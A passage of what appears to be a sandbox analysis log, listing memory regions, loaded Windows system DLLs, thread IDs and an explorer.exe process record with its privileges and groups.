0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7631 start_va = 0xc25d530000 end_va = 0xc25d5affff entry_point = 0x0 region_type = private name = "private_0x000000c25d530000" filename = "" Region: id = 7632 start_va = 0xc25d5b0000 end_va = 0xc25d62ffff entry_point = 0x0 region_type = private name = "private_0x000000c25d5b0000" filename = "" Region: id = 7633 start_va = 0xc25d630000 end_va = 0xc25d6affff entry_point = 0x0 region_type = private name = "private_0x000000c25d630000" filename = "" Region: id = 7634 start_va = 0xc25d6b0000 end_va = 0xc25d6b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c25d6b0000" filename = "" Region: id = 7635 start_va = 0x7ff7f40b8000 end_va = 0x7ff7f40b9fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f40b8000" filename = "" Region: id = 7636 start_va = 0x7ff7f40ba000 end_va = 0x7ff7f40bbfff entry_point = 0x0 region_type = private name = "private_0x00007ff7f40ba000" filename = "" Region: id = 7637 start_va = 0x7ff7f40bc000 end_va = 0x7ff7f40bdfff entry_point = 0x0 region_type = private name = "private_0x00007ff7f40bc000" filename = "" Region: id = 7638 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 7639 start_va = 0xc25d6c0000 end_va = 0xc25d6c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c25d6c0000" filename = "" Region: id = 7640 start_va = 0x7ffd13530000 end_va = 0x7ffd135a9fff entry_point = 0x7ffd13540dac region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 7641 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 7642 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7655 start_va = 0x7ffd11d40000 end_va = 0x7ffd11d4cfff entry_point = 0x7ffd11d45094 region_type = mapped_file name = "dimsjob.dll" filename = "\\Windows\\System32\\dimsjob.dll" (normalized: "c:\\windows\\system32\\dimsjob.dll") Region: id = 7657 start_va = 0x7ffd190d0000 end_va = 0x7ffd1926cfff entry_point = 0x7ffd190d135c region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 7658 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 7659 start_va = 0x7ffd15310000 end_va = 0x7ffd1534cfff entry_point = 0x7ffd153158fc region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 7660 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 7661 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7662 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7663 start_va = 0xc25d6d0000 end_va = 0xc25d9a4fff entry_point = 0xc25d6d0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 7664 start_va = 0xc25d5b0000 end_va = 0xc25d62ffff entry_point = 0x0 region_type = private name = "private_0x000000c25d5b0000" filename = "" Region: id = 7665 start_va = 0x7ff7f40ba000 end_va = 0x7ff7f40bbfff entry_point = 0x0 region_type = private name = "private_0x00007ff7f40ba000" filename = "" Region: id = 7666 start_va = 0xc25d9b0000 end_va = 0xc25da2ffff entry_point = 0x0 region_type = private name = "private_0x000000c25d9b0000" filename = "" Region: id = 7667 start_va = 0x7ff7f40b5000 end_va = 0x7ff7f40b6fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f40b5000" filename = "" Region: id = 7668 start_va = 0x7ffd13010000 end_va = 0x7ffd1301dfff entry_point = 0x7ffd13016ff4 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 7677 start_va = 0x7ffd11cf0000 end_va = 0x7ffd11d02fff entry_point = 0x7ffd11cf0000 region_type = mapped_file name = "pautoenr.dll" filename = "\\Windows\\System32\\pautoenr.dll" (normalized: "c:\\windows\\system32\\pautoenr.dll") Region: id = 7684 start_va = 0xc25da30000 end_va = 0xc25da32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c25da30000" filename = "" Region: id = 7685 start_va = 0x7ffd1f3b0000 end_va = 0x7ffd1f409fff entry_point = 0x7ffd1f3b10c4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 7686 start_va = 0x7ffd11bf0000 end_va = 0x7ffd11ce3fff entry_point = 0x7ffd11bf0000 region_type = mapped_file name = "certca.dll" filename = "\\Windows\\System32\\certca.dll" (normalized: "c:\\windows\\system32\\certca.dll") Region: id = 7687 start_va = 0x7ffd11980000 end_va = 0x7ffd11be0fff entry_point = 0x7ffd11980000 region_type = mapped_file name = "certenroll.dll" filename = "\\Windows\\System32\\CertEnroll.dll" (normalized: "c:\\windows\\system32\\certenroll.dll") Region: id = 7840 start_va = 0x7ffd1ce20000 end_va = 0x7ffd1cff6fff entry_point = 0x7ffd1ce210a4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 7868 start_va = 0x7ffd1cd50000 end_va = 0x7ffd1cd61fff entry_point = 0x7ffd1cd510f4 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 7881 start_va = 0x7ffd1b9e0000 end_va = 0x7ffd1b9e8fff entry_point = 0x7ffd1b9e2258 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 7882 start_va = 0x7ffd19290000 end_va = 0x7ffd19298fff entry_point = 0x7ffd1929102c region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 7883 start_va = 0xc25da40000 end_va = 0xc25dabffff entry_point = 0x0 region_type = private name = "private_0x000000c25da40000" filename = "" Region: id = 7884 start_va = 0x7ff7f40b3000 end_va = 0x7ff7f40b4fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f40b3000" filename = "" Thread: id = 537 os_tid = 0x404 Thread: id = 730 os_tid = 0x834 Thread: id = 735 os_tid = 0x840 Thread: id = 738 os_tid = 0x844 Thread: id = 741 os_tid = 0x864 Thread: id = 742 os_tid = 0x868 Thread: id = 753 os_tid = 0x898 Process: id = "54" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x60f5f000" os_pid = "0x418" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "52" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4805 start_va = 0xd80000 end_va = 0xd9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 4806 start_va = 0xda0000 end_va = 0xdaefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000da0000" filename = "" Region: id = 4807 start_va = 0xdb0000 end_va = 0xe2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000db0000" filename = "" Region: id = 4808 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4809 start_va = 0x7ff6405b0000 end_va = 0x7ff6405d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6405b0000" filename = "" Region: id = 4810 start_va = 0x7ff6405dd000 end_va = 0x7ff6405defff entry_point = 0x0 region_type = private name = "private_0x00007ff6405dd000" filename = "" Region: id = 4811 start_va = 0x7ff6405df000 end_va = 0x7ff6405dffff entry_point = 0x0 region_type = private name = "private_0x00007ff6405df000" filename = "" Region: id = 4812 start_va = 0x7ff640f40000 end_va = 0x7ff641175fff entry_point = 0x7ff640f5f504 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe") Region: id = 4813 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4818 start_va = 0xe30000 end_va = 0xe33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e30000" filename = "" Region: id = 4821 start_va = 0xe40000 end_va = 0xe42fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e40000" filename = "" Region: id = 4823 start_va = 0xe50000 end_va = 0xe51fff entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 4845 start_va = 0xe60000 end_va = 0xf5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 4846 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4847 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4848 start_va = 0xd80000 end_va = 0xd8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d80000" filename = "" Region: id = 4849 start_va = 0x7ff6404b0000 end_va = 0x7ff6405affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6404b0000" filename = "" Region: id = 4850 start_va = 0xf60000 end_va = 0xfddfff entry_point = 0xf60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4851 start_va = 0x7ffd1b950000 end_va = 0x7ffd1b9dafff entry_point = 0x7ffd1b951024 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 4852 start_va = 0xfe0000 end_va = 0x1043fff entry_point = 0xfe0000 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\apppatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4853 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4854 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4855 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4856 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 4857 start_va = 0xd90000 end_va = 0xd96fff entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 4858 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4859 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4860 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4861 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 4862 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4863 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 4864 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4865 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 4867 start_va = 0x7ffd17840000 end_va = 0x7ffd178f6fff entry_point = 0x7ffd17840000 region_type = mapped_file name = "twinapi.dll" filename = "\\Windows\\System32\\twinapi.dll" (normalized: "c:\\windows\\system32\\twinapi.dll") Region: id = 4868 start_va = 0x7ffd1a6f0000 end_va = 0x7ffd1a8f7fff entry_point = 0x7ffd1a72451c region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 4869 start_va = 0x7ffd1a340000 end_va = 0x7ffd1a399fff entry_point = 0x7ffd1a34109c region_type = mapped_file name = "dcomp.dll" filename = "\\Windows\\System32\\dcomp.dll" (normalized: "c:\\windows\\system32\\dcomp.dll") Region: id = 4870 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4871 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4872 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4873 start_va = 0x7ffd19f90000 end_va = 0x7ffd1a0f3fff entry_point = 0x7ffd19fb20f0 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 4874 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4875 start_va = 0x7ffd1adb0000 end_va = 0x7ffd1addafff entry_point = 0x7ffd1adb8914 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 4876 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4958 start_va = 0x7ffd1a670000 end_va = 0x7ffd1a6eefff entry_point = 0x7ffd1a6782f0 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 4959 start_va = 0x7ffd1ad80000 end_va = 0x7ffd1ada1fff entry_point = 0x7ffd1ad864a0 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 4974 start_va = 0xfe0000 end_va = 0x111ffff entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 4975 start_va = 0xfe0000 end_va = 0xfe6fff entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 4976 start_va = 0x1110000 end_va = 0x111ffff entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 5026 start_va = 0x1120000 end_va = 0x1296fff entry_point = 0x11210b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5027 start_va = 0xff0000 end_va = 0x1023fff entry_point = 0xff1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5028 start_va = 0x1120000 end_va = 0x12a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001120000" filename = "" Region: id = 5029 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5030 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5031 start_va = 0xff0000 end_va = 0xff2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ff0000" filename = "" Region: id = 5032 start_va = 0x1000000 end_va = 0x1000fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001000000" filename = "" Region: id = 5033 start_va = 0x1010000 end_va = 0x1010fff entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 5034 start_va = 0x1020000 end_va = 0x1020fff entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 5035 start_va = 0x12b0000 end_va = 0x1430fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000012b0000" filename = "" Region: id = 5036 start_va = 0x1440000 end_va = 0x283ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001440000" filename = "" Region: id = 5037 start_va = 0x2840000 end_va = 0x2c39fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002840000" filename = "" Region: id = 5038 start_va = 0x2c40000 end_va = 0x2e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c40000" filename = "" Region: id = 5040 start_va = 0x1030000 end_va = 0x1030fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001030000" filename = "" Region: id = 5041 start_va = 0x2c40000 end_va = 0x2d2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c40000" filename = "" Region: id = 5042 start_va = 0x2e20000 end_va = 0x2e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e20000" filename = "" Region: id = 5043 start_va = 0x1030000 end_va = 0x1033fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001030000" filename = "" Region: id = 5044 start_va = 0x1040000 end_va = 0x1046fff entry_point = 0x0 region_type = private name = "private_0x0000000001040000" filename = "" Region: id = 5045 start_va = 0x2e30000 end_va = 0x3104fff entry_point = 0x2e30000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5046 start_va = 0x1050000 end_va = 0x1109fff entry_point = 0x107c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 5047 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 5048 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 5049 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 5050 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5051 start_va = 0x1050000 end_va = 0x1050fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001050000" filename = "" Region: id = 5052 start_va = 0x1060000 end_va = 0x1060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001060000" filename = "" Region: id = 5053 start_va = 0x1070000 end_va = 0x1070fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001070000" filename = "" Region: id = 5054 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 5055 start_va = 0x1080000 end_va = 0x1080fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001080000" filename = "" Region: id = 5056 start_va = 0x7ffd1c580000 end_va = 0x7ffd1c5d6fff entry_point = 0x7ffd1c581a70 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 5063 start_va = 0x1090000 end_va = 0x1093fff entry_point = 0x1090000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 5064 start_va = 0x10a0000 end_va = 0x10bffff entry_point = 0x10a0000 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000002f.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x000000000000002f.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000002f.db") Region: id = 5065 start_va = 0x7ffd1ad20000 end_va = 0x7ffd1ad7dfff entry_point = 0x7ffd1ad21074 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 5066 start_va = 0x10c0000 end_va = 0x10c3fff entry_point = 0x10c0000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 5067 start_va = 0x10d0000 end_va = 0x10e6fff entry_point = 0x10d0000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db") Region: id = 5068 start_va = 0x10f0000 end_va = 0x10f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010f0000" filename = "" Region: id = 5069 start_va = 0x7ffd18d30000 end_va = 0x7ffd18d53fff entry_point = 0x7ffd18d310b0 region_type = mapped_file name = "idstore.dll" filename = "\\Windows\\System32\\IDStore.dll" (normalized: "c:\\windows\\system32\\idstore.dll") Region: id = 5070 start_va = 0x7ffd18ec0000 end_va = 0x7ffd18eddfff entry_point = 0x7ffd18ec205c region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 5071 start_va = 0x2d30000 end_va = 0x2daffff entry_point = 0x0 region_type = private name = "private_0x0000000002d30000" filename = "" Region: id = 5072 start_va = 0x7ff6405db000 end_va = 0x7ff6405dcfff entry_point = 0x0 region_type = private name = "private_0x00007ff6405db000" filename = "" Region: id = 5073 start_va = 0x7ffd17780000 end_va = 0x7ffd1778cfff entry_point = 0x7ffd17780000 region_type = mapped_file name = "settingsyncpolicy.dll" filename = "\\Windows\\System32\\SettingSyncPolicy.dll" (normalized: "c:\\windows\\system32\\settingsyncpolicy.dll") Region: id = 5078 start_va = 0x10c0000 end_va = 0x10c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010c0000" filename = "" Region: id = 5079 start_va = 0x1100000 end_va = 0x1100fff entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 5080 start_va = 0x1100000 end_va = 0x1103fff entry_point = 0x1100000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 5081 start_va = 0x2db0000 end_va = 0x2db0fff entry_point = 0x0 region_type = private name = "private_0x0000000002db0000" filename = "" Region: id = 5082 start_va = 0x3110000 end_va = 0x318ffff entry_point = 0x0 region_type = private name = "private_0x0000000003110000" filename = "" Region: id = 5083 start_va = 0x7ff6405d9000 end_va = 0x7ff6405dafff entry_point = 0x0 region_type = private name = "private_0x00007ff6405d9000" filename = "" Region: id = 5084 start_va = 0x3190000 end_va = 0x320ffff entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 5085 start_va = 0x3210000 end_va = 0x328ffff entry_point = 0x0 region_type = private name = "private_0x0000000003210000" filename = "" Region: id = 5086 start_va = 0x3290000 end_va = 